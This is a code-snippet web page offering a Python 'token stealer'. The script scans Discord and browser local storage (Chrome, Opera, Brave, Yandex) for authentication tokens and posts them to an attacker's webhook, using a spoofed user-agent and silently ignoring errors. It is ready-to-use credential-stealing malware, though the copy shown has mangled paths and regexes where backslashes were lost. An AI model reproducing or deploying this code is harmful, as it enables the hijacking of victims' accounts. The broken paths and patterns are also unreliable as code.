Search
 
SCRIPT & CODE EXAMPLE
 

PYTHON

python token stealer

import os
import re
import json

from urllib.request import Request, urlopen

# your webhook URL
WEBHOOK_URL = 'WEBHOOK HERE'

# mentions you when you get a hit
PING_ME = False

def find_tokens(path):
    path += 'Local Storageleveldb'

    tokens = []

    for file_name in os.listdir(path):
        if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
            continue

        for line in [x.strip() for x in open(f'{path}{file_name}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[w-]{24}.[w-]{6}.[w-]{27}', r'mfa.[w-]{84}'):
                for token in re.findall(regex, line):
                    tokens.append(token)
    return tokens

def main():
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')

    paths = {
        'Discord': roaming + 'Discord',
        'Discord Canary': roaming + 'discordcanary',
        'Discord PTB': roaming + 'discordptb',
        'Google Chrome': local + 'GoogleChromeUser DataDefault',
        'Opera': roaming + 'Opera SoftwareOpera Stable',
        'Brave': local + 'BraveSoftwareBrave-BrowserUser DataDefault',
        'Yandex': local + 'YandexYandexBrowserUser DataDefault'
    }

    message = '@everyone' if PING_ME else ''

    for platform, path in paths.items():
        if not os.path.exists(path):
            continue

        message += f'
**{platform}**
```
'

        tokens = find_tokens(path)

        if len(tokens) > 0:
            for token in tokens:
                message += f'{token}
'
        else:
            message += 'No tokens found.
'

        message += '```'

    headers = {
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
    }

    payload = json.dumps({'content': message})

    try:
        req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
        urlopen(req)
    except:
        pass

if __name__ == '__main__':
    main()
Comment

PREVIOUS NEXT
Code Example
Python :: edit packet in scapy 
Python :: numpy prod 
Python :: python copy virtual env modules 
Python :: sqlalchemy date beween 
Python :: pyplot common labels 
Python :: reset all weights tensorflow 
Python :: insert string into middle of list python 
Python :: branchless if python 
Python :: pandas melt and stack 
Python :: pyspark imputer 
Python :: standardscalar 
Python :: timedistributed pytorch 
Python :: python loop increment by 2 
Python :: google popup not opening 
Python :: negative index python 
Python :: ENCAPSUALTION 
Python :: Count the number of Non-Missing Values in the DataFrame 
Python :: Python Tkinter Menu Widget Syntax 
Python :: symmetric_difference_update() Function of sets in python 
Python :: Change the transparency of histogram 
Python :: python yellow 
Python :: from django.urls import path, re_path 
Python :: awesome python 
Python :: python http server onliner 
Python :: json object type in python 
Python :: increase tkinter window resolution 
Python :: Python Program to Display Powers of 2 Using Anonymous Function 
Python :: non venomous snakes 
Python :: check two list python not match 
Python :: how to create a scoreboard for the top 5 players in python 
ADD CONTENT
Topic
Content
Source link
Name
9+8 =